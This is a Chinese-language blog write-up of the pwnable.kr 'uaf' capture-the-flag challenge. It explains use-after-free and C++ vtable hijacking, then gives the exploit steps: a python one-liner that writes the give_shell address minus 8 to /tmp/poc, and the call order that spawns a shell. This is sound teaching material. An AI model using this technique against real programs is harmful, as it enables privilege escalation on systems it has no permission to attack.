pwnable.kr uaf

在这里插入图片描述
看题目就知道这是一道让我们熟悉uaf漏洞的题,由于我本人也是第一次接触uaf的概念,所以第一次会把概念了解详细一点,还是先从题目入手
在这里插入图片描述
为了方便学习我们先看源码

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

首先第一个问题什么是uaf?

#include <stdio.h>
#include <stdlib.h>
void main(void){
	int* p1;
	int* p2;
	p1 = (int*)malloc(sizeof(int));
	*p1 = 100;
	printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);
	free(p1);//释放内存
	*p1 = 100;
	printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);


	//接着申请同样大小的内存空间
	p2 = (int*)malloc(sizeof(int));
	*p2 = 50;
	printf("p2: \t address:%X \t value=%d\n", (int)p2, *p2);
	printf("p1: \t address:%X \t value=%d\n", (int)p1, *p1);
	free(p2);
}

这个程序就很好的说明了问题,运行结果

p1: 	 address:7115260 	 value=100
p1: 	 address:7115260 	 value=100
p2: 	 address:7115260 	 value=50
p1: 	 address:7115260 	 value=50

这个结果就引出了两个问题
1.p1释放后为什么还能使用?
2.p2再申请内存的地址和p1是一样的?

这两个问题其实是有关联的
1.首先p1释放后只是释放了p1指向的内存,并没有释放p1指针本身,也没有将指针设置为NULL,所以p1还是指向被释放的地址,也就造成了我们常说的悬空指针(Dangling pointer),但是为什么p1还能再使用而不崩溃触发访问异常(0xC0000005)呢?这就跟第二个问题有关联。
2.系统的内存管理机制,当然一个系统的内存管理非常庞大且复杂,我们只需要知道大部分系统的内存管理都是追求高效的内存分配器,所以在某些情况下内存被free后不会马上释放回内核,而是保留给应用程序重新申请。这使得被我们free掉的任意内存,在紧接着下一次分配的过程中,有很大肯能被重新分配使用。也就是p1为什么被释放掉后还能被使用,以及p2申请的地址和p1被释放掉的地址是一样的。(有兴趣的可以去查询:dllmalloc、ptmalloc、<深入解析windows系统>)

但这只是简单的说明了uaf的基本原理,但是我们在真正的利用中是怎么去利用的呢?http://huntcve.github.io/2015/06/14/uaf/这篇帖子很好的介绍了uaf的实战要点,但目前我们还是回归到题目上,所以我对这道题利用做出了简单的三点总结:
(1)构造一个悬空指针
(2)构造恶意的数据将这段内存空间布局好
(3)再次利用悬空指针,劫持函数流

1.首先怎么在题目里构造一个悬空指针呢?

while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;
		switch(op){
			case 1:
			...
				break;
			case 2:
			...
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

通过分析 源码我们可以看到,只要我们输入:3就可以deletemw这两个对象,而释放掉这两个对象后程序并没有把指针设置为null,所以我们就获得了两个悬空指针,这样我们的第一步就完成了。

2.构造恶意数据将这段内存布局好.

while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;
		switch(op){
			case 1:
				...
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				...
			default:
				break;
		}
	}

通过源码分析我们可以得知,在case 2:里会根据argv[1]转换一个长度,然后申请一个内存,同时读取上面转换长度所得大小的argv[2]所指示的文件数据到申请的内存中。
做到第二步首先我们要:
(1)获取原来被释放放的内存
(2)构造恶意数据,题目的目的就是get flag,但是我们直接cat是没有权限的
在这里插入图片描述
我们看一下uaf的权限
在这里插入图片描述
以及Human类中的give_shell函数

virtual void give_shell(){
		system("/bin/sh");
	}

大概意思也就是如果我们能调用give_shell我们就相当于获得了提权,也就能使用 cat flag 命令了,所以我们构造的恶意数据就是要调用give_shell这个函数。

怎么做到这两步呢
首先我们要获取被释放的内存,就要申请相同大小的内存,这样获取刚被释放的内存概率会更大一点
那我们要申请多大内存呢,我们可以计算一下,或者IDA直接看一下。这里下载pwnable.kr上的文件,由于我非常不熟悉linux上的sh命令,所以我使用了一个叫:winscp的工具,界面如下

在这里插入图片描述
在这里插入图片描述
对于我这种不熟悉的人来说还是非常方便的,大家也可以用自己熟悉的方法,我这里只是做一个记录
下载完成后拖到IDA里查看,这里我们可以看到申请的是0x18大小的内存
在这里插入图片描述
所以我们在输入argv[1]时也应该输入0x18的大小,这样第一个问题就解决了

下一步也就是在我们的内存里构造一个恶意数据
通过源码我们可以看到

while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
			...
			case 3:
			...
			default:
				break;
		}
	}

case 1里有调用这块被释放内存的函数指针m->introduce();w->introduce();但这两个的函数位置在这块内存的哪里呢?这就涉及到了C++类的继承和虚表知识,不太熟悉的同学建议去看<C++反汇编与逆向分析技术揭秘>,但是通过IDA我们也直接能看出这两个虚函数的位置
在这里插入图片描述
在这里插入图片描述
可以看到其实也就是类起始内存地址+0x8的位置,所以只要把这个地址覆盖成give_shell函数的地址即可,那么give_shell的函数地址在哪呢?
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们在IDA里还是很容易看出来这个Man类的私有函数give_shell在0x0000000000401570这个位置,我们查看这个程序的保护(命令checksec)是并没有开启PIE(ASLR)的,所以我们把这个固定地址填进去是没有问题的

在这里插入图片描述
前两部我们都做好了,现在就差最后一步利用悬空指针劫持函数流,这里看源码可得知,我们只要输入1就可以调用悬空指针了。

所以我们下面把我们上面分析的三步结合起来一起做
首先我们在temp目录下写入一个文件,文件内容是我们构造的恶意内容
give_shell 地址减去0x8

python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc

之后把我们的构造的参数输入进去./uaf 24 /tmp/poc

然后就是uaf的调用顺序3->2->2->1

这里解释一下为什么调用两次2
首先释放掉堆,然后写入内容为give_shell-8的地址2次,依次给的是womanman,不然在1选项中,先执行的是m->introduce,如果只给woman写的话,那么程序会直接崩溃。这里有点像堆喷的意思了。
在这里插入图片描述
成功:)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值